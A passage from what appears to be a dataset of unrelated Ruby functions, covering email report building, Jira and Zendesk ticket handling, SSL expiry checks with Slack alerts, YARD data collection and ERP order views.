#{mergestat_store}\")\r\n\t\t\t\t\tend\r\n\t\t\t\t\tmergestat = IO.readlines(mergestat_store)\r\n\t\t\t\t\t@logger.info(\"mergestat is store at #{mergestat_store}\")\r\n\t\t\t\t\t#@logger.debug(\"#{mergestat}\")\r\n\t\t\t\t\t@mergestat = mergestat.join(line_sep)\r\n\t\t\t\trescue => err\r\n\t\t\t\t\t@logger.error(\"build mergestat failed, #{err.to_s}\")\r\n\t\t\t\t\t@logger.warn(\"NCS ignored mergestat information!\")\r\n\t\t\t\t\t@mergestat = ''\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\t#build tested projects\r\n\t\t\ttested_projects = @properties.get('ncs.store.tested_projects')\r\n\t\t\tif @testedprojects.empty? and File.exists?(tested_projects)\r\n\t\t\t\tlines = IO.readlines(tested_projects)\r\n\t\t\t\tlines.each{ |line|\r\n\t\t\t\t\tnext if line =~ /^\\s*$/\r\n\t\t\t\t\tline.chomp!\r\n\t\t\t\t\t#blocked project\r\n\t\t\t\t\tif line =~ /BLOCK/i\r\n\t\t\t\t\t\t(lbl,block,modtime) = line.split(/[\\s:;,]+/, 3)\r\n\t\t\t\t\t\tself.addpassrate4prj(lbl,'','',true, modtime)\r\n\t\t\t\t\t#tested project\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t(lbl,prate,frate,modtime) = line.split(/[\\s:;,]+/, 4)\r\n\t\t\t\t\t\tself.addpassrate4prj(lbl,prate,frate,false, modtime)\r\n\t\t\t\t\tend\r\n\t\t\t\t}\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\t#build bindings\r\n\t\t\tattributes = {\r\n\t\t\t\t'title' => @title,\r\n\t\t\t\t'sr_link' => @sr_link,\r\n\t\t\t\t'report_link' => @report_link,\r\n\t\t\t\t'srs' => @srs,\r\n\t\t\t\t'srsummary' => @srsummary,\r\n\t\t\t\t'host' => @host,\r\n\t\t\t\t'ip' => @ip,\r\n\t\t\t\t'os' => @os,\r\n\t\t\t\t'view' => @view,\r\n\t\t\t\t'errors' => @errors,\r\n\t\t\t\t'buildresults' => @buildresults,\r\n\t\t\t\t'testsummary' => @testsummary,\r\n\t\t\t\t'testresults' => @testresults,\r\n\t\t\t\t'buildlogdir' => @buildlogdir,\r\n\t\t\t\t'testlogdir' => @testlogdir,\r\n\t\t\t\t'mergestat' => @mergestat,\r\n\t\t\t\t'testedprojects' => @testedprojects\r\n\t\t\t}\r\n\t\t\t#render template and store the mail as a file \r\n\t\t\t@outputdir = @properties.get('ncs.store.dir') + '/' + project_release_label\r\n\t\t\t@body = template.render(attributes, @outputdir+\"/\"+outputfile)\r\n\t\tend\r\n\t\t@logger.info(\"build ncs email end\")\r\n\tend", "def get_milestones ( filepath )\n # ROWS:\n # [0]Id [1]Date [2]Description [3]Context [4]Amount\n count = 0\n data = LEWT::LEWTBook.new\n\n CSV.foreach(filepath) do |row|\n if count > 0\n id = row[0]\n date = Time.parse( row[1] )\n desc = row[2]\n context = row[3]\n amount = row[4].to_f\n\n if self.is_target_date?( date ) == true && self.is_target_context?(context) == true\n # create ledger entry and append to books\n row_data = LEWT::LEWTLedger.new({\n :date_start => date, \n :date_end => date, \n :category => @category, \n :entity => context,\n :description => desc,\n :quantity => 1, \n :unit_cost => amount\n })\n data.push(row_data)\n end\n end\n # increment our row index counter\n count += 1\n end\n return data\n end", "def createBoard file\n\n\tbegin\n\t\tlines = IO.readlines(template)\n\t\n\trescue Exception => e\n\t\tputs e.message\n\t\tputs e.backtrace.inspect\n\tend\t\n\nend", "def createJobSummary\n comment = \"PR cannot be merged due to following issues:\\n\"\n if MAINTAINERS_FAILED_VALIDATION.length() != 0\n comment += \"- Maintainers\\n\"\n for issueObject in MAINTAINERS_FAILED_VALIDATION do\n comment += \"\\t- `#{issueObject[:title]}`\\n\"\n for issue in issueObject[:issues] do\n comment += \"\\t\\t- #{issue}\\n\"\n end\n end\n end\n if OSSPROJECTS_FAILED_VALIDATION.length() != 0\n comment += \"- OSS Projects\\n\"\n for issueObject in OSSPROJECTS_FAILED_VALIDATION do\n comment += \"\\t- `#{issueObject[:title]}`\\n\"\n for issue in issueObject[:issues] do\n comment += \"\\t\\t- #{issue}\\n\"\n end\n end\n end\n if SOCIALGOOD_FAILED_VALIDATION.length() != 0\n comment += \"- Social Good Projects\\n\"\n for issueObject in SOCIALGOOD_FAILED_VALIDATION do\n comment += \"\\t- `#{issueObject[:title]}`\\n\"\n for issue in issueObject[:issues] do\n comment += \"\\t\\t- #{issue}\\n\"\n end\n end\n end\n @logger.info(\"Summary: #{comment}\")\n File.write(ENV[\"GITHUB_STEP_SUMMARY\"], comment)\nend", "def start_code_review (jira_issues, pull_request, user)\n i = 0;\n while (i < jira_issues.length) do\n jira_issue = jira_issues[i].join\n transition_issue jira_issue, CODE_REVIEW_ID, user, pull_request, \"opened\"\n i+=1\n end\nend", "def build_text_mail(files, titles)\n data = \"\"\n files.each_with_index do |file, i|\n data += \"\\n\\n#{titles[i]}\\n\\n\"\n data += File.read(File.join(File.dirname(__FILE__), file))\n end\n # Add google file link with test coverage at the end of email\n data +=\"\\n\\n<a href='https://google.com'>Test Coverage</a>\\n\\n\"\n # attached screenshots\n pictures = Dir.glob(Rails.root.join('public', 'images', 'screenshots', '*.png'))\n #pictures = Dir.glob(Rails.root.join(\"/var/www/office/public/images/capybara/*.png\"))\n count = 0\n pictures.each do |p|\n count += 1\n data += \"<img src='#{ 'https://google.com' + p.split('/').last }'>\"\n break if count == 10\n end\n data\nend", "def tickets_report\n manage_filter_state\n id = params[:Id]\n user = params[:User]\n office = params[:OfficeT]\n from = params[:From]\n to = params[:To]\n category = params[:Category]\n priority = params[:Priority]\n status = params[:Status]\n technician = params[:Technician]\n destination = params[:Destination]\n # OCO\n init_oco if !session[:organization]\n\n search = Ticket.search do\n fulltext params[:search]\n if session[:organization] != '0'\n with :organization_id, session[:organization]\n end\n if !id.blank?\n with :id, id\n end\n if !user.blank?\n with :created_by, user\n end\n if !office.blank?\n with :office_id, office\n end\n if !from.blank?\n any_of do\n with(:created_at).greater_than(from)\n with :created_at, from\n end\n end\n if !to.blank?\n any_of do\n with(:created_at).less_than(to)\n with :created_at, to\n end\n end\n if !category.blank?\n with :ticket_category_id, category\n end\n if !priority.blank?\n with :ticket_priority_id, priority\n end\n if !status.blank?\n with :ticket_status_id, status\n end\n if !technician.blank?\n with :technician_id, technician\n end\n if !destination.blank?\n with :hd_email, destination\n end\n order_by :id, :desc\n paginate :page => params[:page] || 1, :per_page => Ticket.count\n end\n\n @tickets_report = search.results\n\n if !@tickets_report.blank?\n title = t(\"activerecord.models.ticket.few\")\n @to = formatted_date(@tickets_report.first.created_at)\n @from = formatted_date(@tickets_report.last.created_at)\n respond_to do |format|\n # Render PDF\n format.pdf { send_data render_to_string,\n filename: \"#{title}_#{@from}-#{@to}.pdf\",\n type: 'application/pdf',\n disposition: 'inline' }\n end\n end\n end", "def collection_loop(github_num, rubygem_num)\n client = create_client()\n if USE_GOOGLE_DRIVE\n google_session = GoogleDrive::Session.from_config(GOOGLE_DRIVE_API_CONFIG)\n type_folder = ensure_google_type_folder(google_session)\n end\n ensure_data_folder\n ensure_program_log_file\n apps_hash = File.file?(TYPE_DATA_JSON_FILE) ? JSON.parse(File.read(TYPE_DATA_JSON_FILE)): {}\n file_hashes = {}\n app_num = 0\n\n\n File.open(ERROR_LOG, \"w\") { |f| f.puts(\"ERRORS\") }\n \n\n ## get list of github repos to download\n gh_list = get_github_list(client, github_num)\n\n # get list of rubygems repos to download\n rg_list = get_rubygems_list(rubygem_num)\n\n # combine them into a single program list\n prog_list = (gh_list + rg_list).uniq { |r| r[:name] }\n\n ## HACK: RAILS_GEMS are all included in rails already, similar with aws-sdk gems. Drop these from prog_list.\n prog_list.delete_if { |r| RAILS_GEMS.include?(r[:name]) || r[:name].start_with?(\"aws-sdk\") || r[:name].start_with?(\"sys-proctable\") } \n\n prog_list.each { |r|\n puts \"Working on app ##{app_num}...\"\n ## HACK... have to look into these cases separately \n next if [\"libv8\", \"facter\", \"sixarm_ruby_unaccent\"].include?(r[:name])\n \n if File.directory?(\"#{DATA_DIR}/#{r[:name]}\")\n ## if data already exists for this program, then just load that data and update it.\n \n ## below commented out line uses existing json file\n #meths_hash = JSON.parse(File.read(\"#{DATA_DIR}/#{r[:name]}/#{r[:name]}-#{TYPE_DATA_JSON_FILE}\"))\n puts \"Found .yardoc file for app #{r[:name]}. Loading...\"\n load_yard_doc(\"#{DATA_DIR}/#{r[:name]}/.yardoc\")\n #prog_log = load_prog_log(\"#{DATA_DIR}/#{r[:name]}/log.csv\")\n app_file_hashes = JSON.parse(File.read(\"#{DATA_DIR}/#{r[:name]}/#{r[:name]}-#{FILE_MD5_HASHES}\"))\n file_hashes.merge!(app_file_hashes) { |k, v1, v2| v1 | v2 }\n\n ## get all YARD method data\n meths = YARD::Registry.all(:method)\n\n ## extract the data we want\n meths_hash = get_yard_meths(meths)\n\n ## store the method data in the app data (if there is any method data)\n apps_hash[r[:name]] = meths_hash if !meths_hash.empty?\n else\n ## if data doesn't already exist, generate and save it.\n \n #commit_sha = client.commits(r[:full_name], r[:default_branch])[0][:sha]\n #prog_log = [r[:name], r[:name].hash, r[:html_url], r[:default_branch], commit_sha, Time.now.getutc.to_s, \"\", \"\"]\n prog_log = get_prog_log(r)\n \n download_prog(r)\n Dir.chdir(r[:dir_name])\n\n app_file_hashes = {}\n \n ## YARD stuff here\n meth_files = []\n generate_yard_doc\n meths = YARD::Registry.all(:method)\n meths_hash = get_yard_meths(meths, meth_files)\n\n ## save to apps_hash, program log\n if !meths_hash.empty?\n apps_hash[r[:name]] = meths_hash\n CSV.open(\"../#{LOG_FILE}\", \"a+\") { |csv|\n csv << prog_log\n }\n end\n\n ## collect MD5 hashes of all files in program\n meth_files.each do |f|\n next if f.nil? || !File.file?(f)\n key = Digest::MD5.hexdigest(IO.read(f))\n ## add file hash to both this app's hashes, and overall hashes\n if app_file_hashes.has_key?(key) then app_file_hashes[key].push(f) else app_file_hashes[key] = [f] end\n if file_hashes.has_key?(key) then file_hashes[key].push(f) else file_hashes[key] = [f] end\n end\n\n \n ## save app data files, and upload compressed app to google drive\n Dir.chdir(\"..\")\n save_app_data(r[:name], meths_hash, prog_log, app_file_hashes)\n compress_and_upload(type_folder, r[:dir_name]) if USE_GOOGLE_DRIVE\n cleanup(r[:dir_name])\n end\n app_num += 1\n }\n\n ## write type data\n File.open(TYPE_DATA_JSON_FILE,\"w\") do |f|\n f.write(JSON.pretty_generate(apps_hash))\n end\n\n ## write file hashes\n File.open(FILE_MD5_HASHES, \"w\") do |f|\n f.write(JSON.pretty_generate(file_hashes))\n end\n\n return [apps_hash, file_hashes]\nend", "def main\n\n @unpaid_invoices =Invoice.where(\"paid = ?\", false).descend_by_date.paginate(:page => params[:page], :per_page => 400)\n\n startrange = ((Time.now-(Time.now.day).day)-1.month)+4.day\n endrange = Time.now-(Time.now.day).day\n\n @last_month_redmond_invoices = Invoice.in_redmond.find(:all, :conditions => { :date => startrange.to_datetime..endrange.to_datetime })\n @tendayscustomers = Customer.joins(:invoices) & Invoice.ten_days\n @this_customer_spent = Customer.find_by_id(12).invoices.sum(\"subtotal\")\n @customers_by_spend = Customer.all.sort_by { |c| c.invoices.sum(\"subtotal\") }.reverse.paginate(:page => params[:spendpage], :per_page => 60)\n @resolved_tickets = Ticket.where(\"status = 'Resolved'\")\n @mtd_bizx_invoices = Invoice.month_to_date.bizx\n if current_user.group != 'Admins' then (redirect_to \"/\",:notice => 'Ticket was successfully deleted.') end\n\n end", "def ticketexport tid,count\n\n begin\n ticket = ZendeskAPI::Ticket.find($client, :id => tid, :include => :users)\n rescue\n puts \"The call to the Zendesk API failed for ticket #{tid}, moving on.\"\n end\n\n if ticket.nil?\n puts \"No ticket at #{tid}\"\n return\n elsif ticket.organization.nil?\n puts \"No organization on ticket #{tid}\"\n return\n elsif ticket.requester.nil?\n puts \"No requester on ticket #{tid}\"\n return\n #elsif ticket.status.to_s != \"closed\" \n # puts \"Ticket status is not closed\"\n # return\n end\n\n\n #if ticket.requester.nil?\n # return \"No requester on ticket #{tid}\"\n #else ticket.organization.nil?\n # return \"No organization on ticket #{tid}\"\n #end\n puts ticket.id\n puts ticket.to_json\n\n #puts ticket.status\n #puts ticket.url\n #puts ticket.date\n puts \"Company: #{ticket.organization.name}\"\n puts \"Requester: #{ticket.requester.name}\"\n puts \"Requester Email: #{ticket.requester.email}\"\n puts \"Requester Alias: #{ticket.requester.alias}\"\n #puts ticket.subject\n #puts ticket.description\n\n ctime = Time.parse(\"#{ticket.created_at}\")\n cdate = ctime.in_timezone 'America/Chicago'\n cwtime = ctime.strftime(\"%m/%d/%Y\")\n\n #puts cdate\n begin\n audits = ticket.audits.each\n rescue\n puts \"Collecting audits failed, trying again in 30 seconds.\"\n sleep 30\n audits = ticket.audits.each\n end\n # puts audits.to_json\n # This is a UNC PATH where we will put all of the files\n # On a Windows server.\n # This is NOT ideal, but is a side effect of using a janky import process.\n # It works, but it's a dirty hack.\n path = '\\\\\\\\share.somedomain.com\\cw\\\\'\n\n $pubc = \"\\n\\n################################\\n\\nThese were Zendesk Public Comments.\\n\\n\"\n $pubc << \"Zendesk Ticket URL: https://zen.somedomain.com/tickets/#{ticket.id}\\n\\n\"\n $privc = \"\\n\\n################################\\n\\nThese Were Zendesk Private Comments.\\n\\n\"\n # $pubc << \"Full text: #{path}#{ticket.id}\\\\FullThread.txt\\n\\n\"\n \n\n\n audits.each do |i|\n \n t = Time.parse(\"#{i.created_at}\")\n $localtime = t.in_timezone 'America/Chicago'\n $endtime = t.strftime(\"%m/%d/%Y\")\n i.events.each do |e|\n #if e.body =~ /Ticket \\{\\{ticket\\.id\\}\\}/\n #puts e.attachments\n if e.attachments\n if ! File.directory?(\"./cw/#{ticket.id}\")\n dir = Dir.mkdir(\"./cw/#{ticket.id}\")\n #dir = Dir.mkdir(\"./cw/#{ticket.id}/msgs\")\n end\n e.attachments.each do |att|\n begin\n afile = att.file_name.gsub(/\\//, '-')\n afile = afile.gsub(/^\\./, '')\n puts afile\n $pubc << \"\\n\\nAttachment: #{path}#{ticket.id}\\\\#{afile}\\n\\n\"\n # File.write(\"./cw/#{ticket.id}/#{att.file_name}\", Net::HTTP.get(URI.parse(\"#{att.content_url}\"))) \n File.write(\"./cw/#{ticket.id}/#{afile}\", fetchData(\"#{att.content_url}\"))\n rescue\n puts \"There was a problem writing the attachment #{afile}\"\n end\n end\n end \n if e.type.to_s == \"Comment\"\n if e.public.to_s == 'false'\n # puts \"This is a \" + ( e.public.to_s == 'false' ? \"PRIVATE comment.\\n\" : \"PUBLIC comment.\\n\" )\n $privc << \"\\n\\n################################\\n\\n\"\n $privc << \"At #{$localtime}, #{i.author.email} said:\\n\\n\" rescue \"There was an error here\"\n #out = e.body[0..30000]\n $privc << e.body\n #if e.attachments\n else\n # puts \"This is a \" + ( e.public.to_s == 'false' ? \"PRIVATE comment.\\n\" : \"PUBLIC comment.\\n\" )\n $pubc << \"\\n\\n################################\\n\\n\"\n $pubc << \"At #{$localtime}, #{i.author.email} said:\\n\\n\" rescue \"There was an error here\"\n #out = e.body[0..30000]\n $pubc << e.body\n $pubc + \"\\n\\n\"\n \n end\n\n else\n next\n end\n end \n end\n\n $pubc << ticket.description\n # Per connectwise, we have to strip out the pipes from the descriptions\n $privc.gsub!('|','*pipe character was removed here*')\n #puts $privc\n\n $pubc.gsub!('|', '*pipe character was removed here*')\n #puts $pubc\n\n #puts $privc\n #puts $pubc\n\n #fulltext = FILE.open(\"./cw/#{ticket.id}/FullThread.txt\", \"w\") do |ffile|\n # ffile << $privc\n # ffile <<pubc\n #end\n\n headers = %w{SrBoard CompanyName ContactName SrStatus SrType SrSubType SrItem SrSource SrLocation SrPriority Summary DetailDescription InternalAnalysis Resolution AssignedBy DateEntered DateCompleted ConfigName ResourceMember}\n\n output = [{\n 'SrBoard' => \"Service Desk\",\n 'CompanyName' => \"#{ticket.organization.name}\",\n 'ContactName' => \"#{ticket.requester.alias}\",\n 'SrStatus' => \"Closed\",\n 'SrType' => \"\",\n 'SrSubType' => \"\",\n 'SrItem' => \"\",\n 'SrSource' => \"Zendesk\",\n 'SrLocation' => \"Remote\",\n 'SrPriority' => \"Priority 5 - No SLA\",\n 'Summary' => \"#{ticket.subject}\",\n 'DetailDescription' => \"#{$pubc}\",\n 'InternalAnalysis' => \"#{$privc}\",\n 'Resolution' => \"\",\n 'AssignedBy' => \"zadmin\",\n 'DateEntered' => \"#{cwtime}\",\n 'DateCompleted' => \"#{$endtime}\",\n 'ConfigName' => \"\",\n 'ResourceMember' => \"\"\n }]\n\n cols = output.first.keys\n excsv cols,output,count,tid\nend", "def all_ticket_entries\n @ac = ApplicationController.new\n @tickets = Ticket.find(:all, :order => \"created_at\")[0..5000].reverse!\n @species = Specie.all\n @woodtypes = WoodType.all\n end", "def getList fields = [\"*\"]\n\t\tputs \"here\"\n\t\ttickets = @tickets.read fields\n\t\tputs \"here jjj\"\n\t\toutput = \"Projects:\\n\"\n\n\t\ttickets.each do |row|\n\t\t\toutput += \"| \"\n\t\t\trow.each do |cell|\n\t\t\t output += \"#{cell[1]} | \"\n\t\t\tend\n\t\t\toutput += \"\\n\"\n\t\tend\n\t\toutput\n\tend", "def index\n @ticket_loops = TicketLoop.all\n end", "def add_jira_tickets_to_omnifocus ()\n debug_msg('add_jira_tickets_to_omnifocus',3)\n #iterate through the projects array, add tickets to the proper project based on the results from the label query.\n #\n #This adds a relationship between your OmniFocus 'projects' and the labels you use in jira. be warned.\n\n PROJECTS.each do |project_label|\n debug_msg(\"add_jira_tickets_to_omnifocus: Label: #{project_label}\",2)\n # Get the open Jira issues assigned to you\n results = get_issues(project_label,'inclusive')\n if results.nil?\n debug_msg(\"add_jira_tickets_to_omnifocus: No results from Jira matching #{project_label}\",0)\n exit\n end\n\n # Get the OmniFocus app and main document via AppleScript\n # binding.pry;\n omnifocus_document = Appscript.app.by_name('/Applications/OmniFocus.app').default_document\n # Iterate through resulting issues.\n results.each do |jira_id, hash|\n debug_msg(\"add_jira_tickets_to_omnifocus: Jira_ID: #{jira_id} Hash: #{hash}\", 8)\n #binding.pry;\n jira_summary = hash['summary']\n jira_status = hash['status']\n # Create the task name by adding the ticket hash to the jira ticket key\n task_name = \"#{jira_id}: #{jira_summary}\"\n # Create the task notes with the Jira Ticket URL\n #status = foo\n task_notes = \"ID: #{jira_id}\\r\\nURL: #{JIRA_BASE_URL}/browse/#{jira_id} \\r\\nStatus: #{jira_status} \"\n\n # Build properties for the Task\n @props = {}\n @props['name'] = task_name\n @props['project'] = project_label\n @props['context'] = DEFAULT_CONTEXT\n @props['note'] = task_notes\n @props['flagged'] = FLAGGED\n add_task(omnifocus_document, @props, jira_id)\n end\n end#end iteration\n #get the list of tickets which are assigned to the user, but not caught by the existing label search\n projectstring = PROJECTS * \",\"\n exclusive_results = get_issues(projectstring,'exclusive')\n debug_msg(\"add_jira_tickets_to_omnifocus: Fetching tickets not tagged with the labels: #{projectstring}\",1)\n if exclusive_results.nil?\n debug_msg(\"add_jira_tickets_to_omnifocus: No results from Jira which aren't already covered by the previous searches\",0)\n exit\n end\n # TODO: I feel like an idiot duplicating this code. we should change it\n # Get the OmniFocus app and main document via AppleScript\n omnifocus_app = Appscript.app.by_name(\"OmniFocus\")\n omnifocus_document = omnifocus_app.default_document\n debug_msg(\"add_jira_tickets_to_omnifocus: omnifocus_document: #{omnifocus_document}\", 10)\n # Iterate through resulting issues.\n exclusive_results.each do |jira_id, hash|\n debug_msg(\"add_jira_tickets_to_omnifocus: exclusive iterator: jira_id: #{jira_id} hash: #{hash}\",11)\n #binding.pry;\n jira_summary = hash['summary']\n jira_status = hash['status']\n # Create the task name by adding the ticket hash to the jira ticket key\n task_name = \"#{jira_id}: #{jira_summary}\"\n # Create the task notes with the Jira Ticket URL\n #status = foo\n task_notes = \"ID: #{jira_id}\\r\\nURL: #{JIRA_BASE_URL}/browse/#{jira_id} \\r\\nStatus: #{jira_status} \"\n # Build properties for the Task\n @props = {}\n @props['context'] = DEFAULT_CONTEXT\n @props['flagged'] = FLAGGED\n @props['name'] = task_name\n @props['note'] = task_notes\n @props['project'] = DEFAULT_PROJECT\n add_task(omnifocus_document, @props, jira_id )\n end\nend", "def doing_by_line_length\n consumer = Fiber.new do |producer, queue|\n #f = open(\"./lib/fiber_output.txt\", \"a\") do |f|\n #f = open(\"./lib/files_to_textual/fibering_files_output.txt\", \"a\") do |f|\n #f = open(\"./lib/databasers/fibered_files_output.txt\", \"a\") do |f|\n #f = open(\"./lib/databasers/fibered_files_output.txt\", \"a\") do |f| \n f = open(\"./lib/databasers/fibering_files_output.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n #puts queue\n #puts \"queue : \" + \"#{queue}\"\n #puts queue\n #puts queue.to_s\n #puts queue.to_s.chomp\n #puts queue.to_s.strip\n #puts queue.to_s.strip.downcase\n #puts queue.to_s.strip.downcase.to_textual\n var << queue.to_s.chomp.to_textual\n puts f << var\n #puts f << queue << var\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n a = File.read(file_name) do |a|\n b = a.to_textual\n loop do\n while value = b.shift\n queue << value\n end\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end\n end\n consumer.transfer(producer, [])\n after_break\n end", "def tickets_for_project(project_id)\n tickets = send(:get , \"/api/v1/projects/#{project_id}/tickets.json\")\n\n process_list_response( tickets , Unfuddled::Ticket )\n end", "def get_owner_tickets\n @tickets = Ticket.find_all_by_job_id_and_paid_to_owner(params[:id], false, :order => \"number\")\n render \"get_tickets.html.erb\"\n end", "def ssl_check\n #performs the actual certificate check on the array of websites\n websites = @endpoints_list\n\n website = websites.each do |w|\n\n checker = SSLCheck::Check.new\n checker.check(w)\n puts checker.peer_cert.to_h\n\n #checks the time before the expiry\n current_date = Time.now.iso8601.to_time\n cert_expiry_date = checker.peer_cert.not_after.to_time\n days_left = (cert_expiry_date - current_date) / 86400\n\n\n #slack notifier settings with slack webhook\n notifier = Slack::Notifier.new @slack_webhook\n\n #messages as slack attachments\n\n eq_less_60 = {\n fallback: \"Expiry date is #{days_left.round} days from now on #{cert_expiry_date}.\",\n text: \"Certificate check for *#{w}* : \\n The certificate is valid. \\n Expiry date is #{days_left.round} days from now on #{cert_expiry_date}. \\n\",\n color: \"#3498db\"\n }\n eq_less_30 = {\n fallback: \"Expiry date is #{days_left.round} days from now on #{cert_expiry_date}.\",\n text: \"Certificate check for *#{w}*: \\n The certificate is valid. \\n Expiry date is #{days_left.round} days from now on #{cert_expiry_date}.\\n Please start scheduling certificate renewal.\",\n color: \"#f0932b\"\n }\n eq_less_10 = {\n fallback: \"Expiry date is #{days_left.round} days from now on #{cert_expiry_date}.\",\n text: \"ATTENTION: Certificate check for *#{w}* : \\n The certificate is valid. \\n Expiry date is #{days_left.round} days days from now on #{cert_expiry_date}. Please act ASAP on the certificate renewal! \\n\",\n color: \"#c0392b\"\n }\n#logic to send out slack notification\n case\n when days_left <= 10\n notifier.post attachments: [eq_less_10]\n\n when days_left <= 30\n notifier.post attachments: [eq_less_30]\n\n when days_left <= 60\n notifier.post attachments: [eq_less_60]\n\n else\n puts \"checks done & complete on #{current_date}\"\n end\n\n end\n\n end", "def find_line(programming_grid, to_find, email, single, pg_lines_used)\n found = []\n # TODO: make it so the user inputs the tab so we dont have to do anything with the code\n # 8513-E-Mail Imp Grid -> older younger\n # E-Mail Imp Grid -> HCEA112\n programming_grid.email_sheet.sheet(\"Email\").each_row_streaming do |row|\n row.each do |r|\n unless r.value.nil? || (r.value.class == Integer)\n r.value.gsub!(/<(.*?)>/, \"\")\n r.value.gsub!(/’+/, \"\")\n r.value.gsub!(/\\s{2,20}/, \" \")\n unless single\n\n if (programming_grid.email_sheet.sheet(\"Email\").row(r.coordinate.row).compact.index{|s| s.to_s.downcase.include?(email.version.to_s.downcase) || s.to_s.downcase.include?(\"global\")}) && r.value.include?(to_find)\n found.push(row)\n pg_lines_used.push(r.coordinate.row)\n return found\n end\n else\n if r.value.include?(to_find)\n found.push(row)\n pg_lines_used.push(r.coordinate.row)\n return found\n end\n end\n end\n end\n end\n end", "def index\n @tickets_recently = Ticket.where(reporter: current_user)\n .where.not('status_id = (?) OR status_id = (?)', Status.closed_id, Status.cancel_id)\n .where(updated_at: (Time.now - 24.hours)..Time.now)\n .order(updated_at: :desc)\n .page(params[:recently]).per(6)\n @tickets = Ticket.where(reporter: current_user).order(updated_at: :desc).page(params[:page]).per(10)\n end", "def GetTickets params = {}\n\n params = params.merge(path: 'tickets.json')\n APICall(params)\n\n end", "def retrieve_messages\n if FileTest::file? request_file and not is_locked? request_file\n\n lock_file request_file\n\n requests = File.read(request_file).split(\"\\n\")\n requests.each do |request|\n @notifier_engine.log \"New request: #{request}\"\n parse_request request.split(\"\\t\")\n end\n\n open(request_file, 'w') {}\n\n unlock_file request_file\n end\n end", "def generate_error_email_body(email_type: :user)\n case email_type\n when :user\n error_contents = read_parse_logfile(user_error_filepath)\n message_body = \"<p>'#{study_file.upload_file_name}' has failed during parsing.</p>\"\n when :dev\n # only read first megabyte of error log to avoid email delivery failure\n error_contents = read_parse_logfile(dev_error_filepath, delete_on_read: false, range: 0..1.megabyte)\n message_body = \"<p>The file '#{study_file.upload_file_name}' uploaded by #{user.email} to #{study.accession} failed to ingest.</p>\"\n message_body += \"<p>A copy of this file can be found at #{generate_bucket_browser_tag}</p>\"\n message_body += \"<p>Detailed logs and PAPI events as follows:\"\n else\n error_contents = read_parse_logfile(user_error_filepath)\n message_body = \"<p>'#{study_file.upload_file_name}' has failed during parsing.</p>\"\n end\n\n if error_contents.present?\n message_body += \"<h3>Errors</h3>\"\n error_contents.each_line do |line|\n message_body += \"#{line}<br />\"\n end\n end\n\n if !error_contents.present? || email_type == :dev\n message_body += \"<h3>Event Messages</h3>\"\n message_body += \"<ul>\"\n event_messages.each do |e|\n message_body += \"<li><pre>#{ERB::Util.html_escape(e)}</pre></li>\"\n end\n message_body += \"</ul>\"\n end\n\n if study_file.file_type == 'Metadata'\n faq_link = \"https://singlecell.zendesk.com/hc/en-us/articles/360060610092-Metadata-Validation-Errors-FAQ\"\n message_body += \"<h3>Common Errors for Metadata Files</h3>\"\n message_body += \"<p>You can view a list of common metadata validation errors and solutions in our documentation: \"\n message_body += \"<a href='#{faq_link}'>#{faq_link}</a></p>\"\n end\n\n message_body += \"<h3>Job Details</h3>\"\n message_body += \"<p>Study Accession: <strong>#{study.accession}</strong></p>\"\n message_body += \"<p>Study File ID: <strong>#{study_file.id}</strong></p>\"\n message_body += \"<p>Ingest Run ID: <strong>#{pipeline_name}</strong></p>\"\n message_body += \"<p>Command Line: <strong>#{command_line}</strong></p>\"\n ingest_image_attributes = AdminConfiguration.get_ingest_docker_image_attributes\n message_body += \"<p>Ingest Pipeline Docker image version: <strong>#{ingest_image_attributes[:tag]}</strong></p>\"\n message_body\n end", "def load_workouts(file)\n workout_num = 0\n exercise_num = 0\n workout_list = []\n \n File.foreach(file) { |line| \n if line =~ /^Start Time: (\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}).[0-9]* +|-\\d*$/ then\n workout_num += 1\n exercise_num = -1\n workout_list << Workout.new.start_time=($1)\n elsif line =~ /^\\s*Exercise name: (\\w*\\D+\\s*\\w*) Exercise Type: (\\w+)$/ then\n exercise_num += 1\n exercise = Exercise.new()\n exercise.exercise_name = $1\n exercise.exercise_type = $2\n workout_list[workout_num] << exercise\n end\n }\n \n workout_list #return created workoutlist \n end", "def open_orders\r\n # store_user = StoreUser.find_by_erp_account_number \"CU 0101388\"\r\n # store_user.order_users.find(:first).orders.find(:first)\r\n # ERP::ThreadPool.new(@options[:threads], time_blocks).start do |pair|\r\n # sleep(1 * rand)\r\n # result = search_by_modified_date( pair.first, pair.last )\r\n # nodes.concat result unless result.empty?\r\n # end\r\n store_user = session[:web_user]\r\n web_orders = Order.find_by_store_user_id(store_user.id)\r\n sales_ids = @customer.sales_orders.collect{|sales_order| sales_order.sales_id}\r\n web_orders.delete_if { |web_order| sales_ids.include?(web_order.erp_order_number) }\r\n # raise web_orders.to_yaml\r\n @orders = @customer.open_orders\r\n web_orders.each do |web_order|\r\n virtual_order = ERP::SalesOrder.new(\r\n :sales_status => \"Invoice\",\r\n :document_status => \"Invoice\",\r\n :shipping_charges => web_order.shipping_cost,\r\n :sales_tax => web_order.tax,\r\n :synchronized => true,\r\n :purch_order_form_num => web_order.order_number,\r\n :delivery_mode_id => 0,\r\n :completed => true,\r\n :erp_modstamp => web_order.created_on\r\n )\r\n \r\n web_order.order_line_items.each do |line|\r\n virtual_order.sales_lines.build(\r\n :sales_order => virtual_order,\r\n :item_id => line.product.erp_product_item,\r\n :sales_qty => line.quantity,\r\n :status => \"Downloading\",\r\n :remain_sales_physical => 0,\r\n :sales_price => line.product.price,\r\n :line_amount => line.quantity * line.product.price\r\n )\r\n end\r\n \r\n web_ship_to = web_order.order_user.order_addresses.find_by_is_shipping(true)\r\n virtual_order.ship_to_address = ERP::DeliveryAddress.new(\r\n :name => web_ship_to.company,\r\n :street => web_ship_to.address,\r\n :address => \"#{web_ship_to.address}\\n#{web_ship_to.city}, #{web_ship_to.state} #{web_ship_to.zip}\\n#{web_ship_to.country.fedex_code}\",\r\n :city => web_ship_to.city,\r\n :state => web_ship_to.state,\r\n :zip_code => web_ship_to.zip,\r\n :country_region_id => web_ship_to.country.fedex_code\r\n )\r\n web_bill_to = web_order.order_user.order_addresses.find_by_is_shipping(false)\r\n virtual_order.bill_to_address = ERP::InvoiceAddress.new(\r\n 